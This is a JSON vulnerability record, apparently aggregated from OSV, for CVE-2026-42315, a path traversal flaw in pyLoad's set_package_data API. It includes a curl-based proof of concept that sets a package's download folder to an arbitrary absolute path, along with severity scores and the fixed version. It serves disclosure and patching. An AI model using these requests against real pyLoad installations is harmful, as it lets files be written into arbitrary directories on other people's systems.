{"id":"CVE-2026-42315","aliases":["PYSEC-2026-129"],"url":"https://o3.security/vulnerability/CVE-2026-42315","summary":"PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data","details":"### Summary\nNo sanitization of package folder name allows writing files anywhere outside the intended download directory.\n\n#### Affected Component\n- `src/pyload/core/api/__init__.py`\n- Function: `set_package_data()`\n\n### Details\nWhen passing a folder name in the `set_package_data()` API function call inside the data object with key `\"_folder\"`, there is no sanitization at all, allowing a user with `Perms.MODIFY` to specify arbitrary directories as download locations for a package.\n\n### PoC\n1) Create a package, note response package ID e.g. `5`\n```\ncurl -X 'POST' \\\n  'http://localhost:8000/api/add_package' \\\n  -H 'accept: application/json' \\\n  -H 'X-API-Key: <valid api key>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n  \"name\": \"set_package_data_exploit_poc\",\n  \"links\": [\n    \"http://example.com/file.txt\"\n  ],\n  \"dest\": 1\n}'\n```\n\n2) Call set_package_data for this package ID with an arbitrary directory \n```\ncurl -X 'POST' \\\n  'http://localhost:8000/api/set_package_data' \\\n  -H 'accept: */*' \\\n  -H 'X-API-Key: <valid api key>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n  \"package_id\": 5,\n  \"data\": {\n    \"_folder\": \"/users/root/\"\n  }\n}'\n```\n\n3) New download folder will be set without any checks\n```\ncurl -X 'GET' \\\n  'http://localhost:8000/api/get_queue' \\\n  -H 'accept: application/json' \\\n  -H 'X-API-Key: <valid api key>'\n```\nResponse:\n```\n[\n  {\n    \"pid\": 5,\n    \"name\": \"set_package_data_exploit_poc\",\n    \"folder\": \"/users/root/\",\n    \"site\": \"\",\n    \"password\": \"\",\n    \"dest\": 1,\n    \"order\": 1,\n    \"linksdone\": 0,\n    \"sizedone\": 0,\n    \"sizetotal\": 0,\n    \"linkstotal\": 1,\n    \"links\": null,\n    \"fids\": null\n  }\n]\n```\n\n### Impact\nAllows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.","published":"2026-05-05T21:18:19Z","modified":"2026-06-08T20:00:11.261995427Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},"epss":{"score":0.00395,"percentile":0.32532,"asOf":"2026-08-13"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"pyload-ng","fixedVersion":"0.5.0b3.dev100"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/pyload/pyload/security/advisories/GHSA-838g-gr43-qqg9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42315"},{"type":"PACKAGE","url":"https://github.com/pyload/pyload"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-129.yaml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-06-08T20:00:11.261995427Z"}}